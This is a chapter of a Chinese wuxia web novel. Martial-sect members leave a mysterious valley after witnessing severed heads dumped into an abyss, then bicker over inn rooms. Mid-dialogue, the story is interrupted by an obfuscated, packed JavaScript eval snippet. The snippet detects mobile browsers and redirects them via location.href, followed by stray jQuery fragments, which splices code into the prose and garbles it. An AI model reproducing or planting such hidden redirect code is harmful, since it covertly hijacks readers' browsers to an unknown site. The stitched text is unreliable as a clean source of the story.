8. 月白风清
作品:《樊笼外》 及至下午,各大门派陆续收获了属于自己门派的秘籍。
五毒教的右护法拿到毒蜂刺的制作要领,点苍派弟子拿到流云水袖的袖法技艺,泰山派年纪最小的弟子收获游龙轻功的功法秘诀。也有部分人是初至谷中,第一次领取任务,总之人人脸上洋溢着喜色,皆大欢喜。
汤应寿见季歌右手手臂伤重,又命人送了两瓶活血化瘀、止疼消炎的药膏给他。
宴会结束时已是黄昏,落霞满天。众人与谷主一一道别,约定半年后再行赴约。汤应寿将一干人等送至悬索桥边。才隔半日,便又见到了这座命悬一线的悬索桥,人人脸上无不变色。无论是谁,心里装了多少欢喜,见到这座悬索桥,也笑不出来了。
各门派在领队人的安排下,次第走过悬索桥。青衣派、孟浪张衡还有季歌走在最后面。待前面各大门派走过去,悬索桥不再剧烈晃动时,季歌准备上桥。
这时,身后忽然传来“咕噜咕噜”的车轮声。季歌回过头来,看到沐恩谷的四名小厮正推着两辆木车向这边驶来。
木车上放置着一只盛满头颅的大竹笼,污血顺着竹笼的边框滴落下来,和着泥土,在地上滚出了两道血色的车辙印。几人倒吸口凉气,怔在当地。
只见那木车推至悬崖边上,两名小厮在木车下的一个位置轻轻一扳,两个大竹笼缓缓倾倒,竹笼里的头颅就如炮弹一般,接二连三的掷入深渊。那一颗颗满脸血污、神色各异的头颅,转眼间便被深渊里呼啸的寒风吞噬,不见影踪。
季歌心道:“原来木车下也装了机关。”
那些头颅都是从不同的人身上或割或砍下来的,滚落深渊时,脸上仍带着死者生前弥留的或狰狞、或惊恐、或痛苦、或欢愉的表情,像极了世人痛苦悲惨的一生。直看得众人头皮阵阵发麻,脊梁骨发凉。
静慧叹道:“真可怜啊。”静柔别过脸去,不忍再看。孟浪也倒吸一口凉气。
汤应寿立于崖边,手捋长须,道:“这些人犯了滔天罪行,扔下去自有阎王爷惩戒,沐恩谷的任务便是送他们去见阎王。”
静慧不愿听他细说,心有余悸地跳上悬索桥。这时鬼谷子从对面过来,经过身边时,冲她咧嘴一笑,道:“小姑娘,下次再来玩呀!”
静慧啐道:“呸,再也不来了,你们这沐恩谷总没好事!”
静姝在桥下听到,嗔道:“静慧,不得无礼!”转过身来,向汤应寿行了一个大礼,道:“感谢谷主宅心仁厚,赐我等剑谱,此等恩德,来日必报。”
汤应寿微微一笑,回了一礼,并未答话。
孟浪懒得搭理,将那十几页刀谱往怀里一塞,径直上了悬索桥。张衡见二哥上去,忙向汤应寿简单道了声告辞,便即跟了上去。静姝则牵着静柔的手走在后面。
季歌最后走上桥头。看着前面几人的背影渐行渐远,心中突然一片迷惘。回过头来,向汤应寿道:“老伯,我不知您的真实身份是什么,只盼您能通传一声,愿季某下次来时得见谷主真容,如此方能表露双方诚意。”
汤应寿闻言,一张布满笑意的脸瞬间僵住,残留眼角的温和也被冰冻在了脸上。天地广袤,此时此刻,唯剩狂风呼啸,卷着他的衣袂上下翻飞不止。
.
静慧坐在竹笼里,望着汤应寿苍老衰颓的身影立于悬崖,愈渐模糊,心觉奇怪,道:“季少侠,方才你与那老谷主说了什么?”
季歌道:“我告诉他,青衣派的静慧姑娘和静柔姑娘天性纯良,请他不要因为玉碎一事对她二人心生不满,有所猜忌。日后行走江湖遇见了,还应多加照拂才是。”
“骗人。”静慧道:“若只是说了这些,何以那老谷主会是这副表情。”
季歌莞尔,闭上眼睛,不再答话。
众人下了溜索,从落霞山出来时已是傍晚。漫天霞光洒满群山,山间万物仿佛披上了一层薄薄的金纱,与白天的山体郁葱相比,又是别样景象。季歌伫立山门前,望着天上霞光无限,叹道:“落霞,落霞,原来这便是落霞山名字的由来。”
孟浪走过来,粗声粗气道:“小子,黔南江家怎么走?”
季歌保持着看天的姿势,道:“你觉得我会知道?”对他看也不看。
孟浪心生不满,道:“那你还带我们取什么楼兰明珠,咱三个都不识路,这下怎么整?”
季歌不予理会,径直转身,走下山门,去追走在前面的青衣派三人。孟浪气得胡子乱颤,道:“他……他这是什么态度?”
张衡拍了拍他的肩,道:“二哥不必认真,怎么说人家也是咱俩的贵人,去江家这一路还得多仰仗人家呢。”
孟浪道:“仰仗他?他自己都说了不识路。”
张衡道:“呐,这不是识路不识路的问题。你想啊,堂堂问心剑派掌门之子,去哪儿犯得着识路吗?”
孟浪盯着他道:“不懂。”
张衡搔了搔头,道:“你看,以他在沐恩谷使的那招‘七月飘雪’,功夫就远在咱哥俩之上,路上万一出了什么岔子,指不定谁帮谁呢。不认路有什么打紧,有钱就够了。问路只需银子打点就行,再不行雇个向导,这都是小事。”
孟浪这下懂了,仔细一想,心里还是窝火,道:“那岂不是一路都得看那小子脸色?小小年纪,好的不学,光学了狗眼看人低那套。”
张衡双手抱于胸前,望着季歌渐行渐远的身影,笑道:“长了这么一张俊脸,就是冰块,他也好看啊。”
静姝三人得了无极剑谱,一路喜眉笑眼,乐不可支的。天色渐晚,路遇一家客栈,静姝道:“今晚先投宿这里,明早再赶路。”
静慧朝身后瞟了两眼,道:“师姐,他们又跟上来了。”
静姝道:“不知羞耻。”走进客栈,正待打尖,这时季歌轻轻巧巧地进得门来,满脸乐呵道:“真不凑巧,三位也打尖儿啊。”
静柔脸现羞赧之色,低下头道:“公子,你和我们顺路啊。”声如蚊呐。
静姝道:“顺什么路,我看他是心怀鬼胎,居心叵测!”
季歌对她看也不看,径直走到柜台前,向店伙计道:“小二,来两间天字房。我一间,后面那俩跟班的一间。”顿了顿,“再给我出去买两身干净的里衣外衣,一并结在房费里。”
孟浪紧随其后进来。听他要了天字号,顿时脸现尴尬之色,道:“不……用了,我们哥……哥俩住人字号就行,不承你的情。”
张衡胳膊肘将他轻轻一撞,道:“我看季兄弟出手阔绰,为人豪气大方,不是爱计较的人。”
孟浪道:“我管他是什么人!住个店都要天字号,当在自己家啊。反正咱哥俩粗茶淡饭惯了,绳床瓦灶,哪儿不能睡。不像某些门派的阔少爷,从小娇生惯养,衣来伸手饭来张口的,金贵得很!大男人一个,真是矫情!”
他说话声音很大,故意让季歌听到。
季歌倚着柜台,听着这话,有些牙疼地捅了捅耳朵,道:“酸劲儿这么大,眼红的失心疯了吧。”
孟浪道:“谁他妈眼红你,单纯是看不惯你这套少爷做派。”
静柔见他们又要吵起来,连忙岔开话题,道:“小二哥,麻烦订两间地字号,让我大师姐单独一间。”
季歌道:“柔儿妹妹,地字号可是有树木遮挡,无甚夜景可看哦。”见静柔面露不解,补充道:“这家客栈唤作‘明月’,正是因为天字号的月景极佳,有其他客栈比不上的月白风清,错过岂不可惜?”
“可是……”
静柔悄悄摸了摸口袋,颇有些囊中羞涩。
静姝斥道:“可是什么,就住地字号!”
季歌道:“别可是了。女孩子家嘛,就得住得金贵些,怎能一直过清苦日子。”说着眼光向孟浪和张衡一扫,道:“不像那两个,皮糙肉厚,绳床瓦灶,哪儿不能睡。看来他二人是无福消受这天字号的夜景了,便将他二人那间让给你与静慧住罢。”
说着向小二道:“换房!”
静姝听他这么说,心中怒气陡生,道:“笑话!当我们青衣派住不起天字房吗?给我也换成天字号!”
小二翻了下房册,难为情道:“对不住了大姐,近来小店生意尚可,路过打尖的客人较多,已经没有天字号了。”
静姝正待发作,小二又道:“您方才要订的地字号也只剩最后一间了,您订是不订?”
听闻这话,静姝脸色顿时一阵青一阵白。恨恨蹬了季歌一眼,从小二手中夺过地字号牌,在一干人等的注视下,讪讪去了。
待她一走,孟浪立时笑出声来,道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468414|201347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这凶尼姑脾气还挺大。”说着转向小二,“人字号订好了没?”
小二又露出一脸难为情来,道:“对不住了客官,方才人字号也没了。”
孟浪两眼立时瞪如铜铃,道:“那你让我哥俩睡哪儿去?这荒郊野岭的。”
季歌倚着柜台,慢条斯理道:“别废话,大通铺给他俩安排上,费用从我账上划。”
说着眼尾懒懒地将孟浪张衡一扫,道:“我这二位兄弟皮糙肉厚,好养活,大通铺正适合他们。”
当晚孟浪睡到半夜,突然坐起身来,对着空气破口大骂:“这小杂种没病吧,小小年纪心眼儿就这么多,我这岁数当不了他爷爷,当他叔也够了,他对咱哥俩这是什么态度?”
张衡被他吵醒,迷迷瞪瞪地坐了起来,勉力挣开粘在一起的眼皮,向房内瞧了一眼。见其他人还在沉睡,屋内一片鼾声如雷,将他的脖子一搂,哄道:“先睡觉罢,明儿再跟他理论。”
孟浪气哼哼地躺平,眼睛刚闭上一会儿,便又睁开,道:“三弟,你身上还有多少银子。”
张衡迷迷糊糊的道:“哪还有银子,路上早都花光了。”
孟浪一听,抬脚在他腰上给了一下,道:“好好说,还剩多少?”
张衡见他不依不饶,在黑夜里迷迷糊糊伸出一根手指头来。
“一锭?”
张衡摇摇手指。
“一两?”
张衡又摇摇手指头。
“一文?”
“一个铜板。”
张衡道。
孟浪心里生气,抬脚在他腰上又给了一下,道:“怎么就剩这点儿了?让你管钱,咋管成这样了?”
张衡迷迷糊糊道:“二哥啊,咱俩都出来多长时间了,没有四个月也有三个月了吧,一共就带了二两银子,一路还省吃俭用,吃糠咽菜的,畜生都没过成这样。两个人,三个月,花了二两银子,你觉得多吗?没半路饿死都算好的,活到现在,你觉得咱哥俩容易吗?要不是三弟我精打细算,好好理财,只怕这最后一个铜板也没有了。”
顿了顿,“至少这最后一个铜板还够二哥你明早喝碗热乎的稀米粥。”
孟浪道:“那咱这几日吃喝拉撒花的什么?”
张衡幽幽一声叹,道:“自然是你口中的小杂种……”
孟浪气不打一处来,怒道:“为何要花他的,我不花他的!”
张衡道:“不花他的,花什么呀?一个铜板,都不够咱俩分的。”
孟浪气哼哼道:“那我也不花他的。那小杂种心眼儿太多,蔫儿坏蔫儿坏的,老子就是饿死,也不吃嗟来之食。”
张衡郁闷道:“人家什么时候心眼儿多,什么时候蔫儿坏了。我看季兄弟为人很是不错,特别慷慨豪气,做事也大方。再说,不花他的,今晚咱俩连这大通铺硬板床都睡不上,隔壁有马棚,要不你搁那儿跟马睡去?”
孟浪道:“总之我不受他的资助。你愿意吃他的嗟来之食,便自己吃去,可别拽上我。”说着气哼哼地背过身去。
张衡见他榆木脑袋想不开,巴了巴他的肩膀,道:“二哥,人总得活命吧,咱俩贵为霹雳帮的副帮主,沿街乞讨像什么样子,传到大哥耳朵里,还不得把咱俩剁了?”
顿了顿,“你若是实在不想花他的,每日吃喝用度便都记在账上,权当欠他的。以后有机会了再还不就完了。”说着幽幽打了声哈欠,道:“睡了,有事儿明天再聊。”
话音刚落,呼噜声响起。
孟浪贴着钢板似的硬床,大睁着眼睛,想了一会儿,发现张衡说的也不无道理。没错,不吃不喝不行,沿街乞讨也不行,就当欠他的吧,日后有机会再还。
闭上眼睛眯了一会儿,发现还是睡不着。这一路睡惯了牛棚马棚,这会儿睡上正儿八经的人床,还真不习惯了。谁说由奢入俭难,由俭入奢也不容易啊,唉,真是不配!
辗转反侧半晌,索性坐了起来,从怀里摸出白天路上捡来的一块木牌,用小石子在上面划了一道——权当记下欠那小子的账。躺下正待再睡,忽然屋顶上传来几个人声,隐隐约约,似有若无,听不真切。
他竖起耳朵,屏住呼吸,倾耳细听。只听月夜寂静之中,只言片语伴着夜风飘进窗来,愈发清晰。

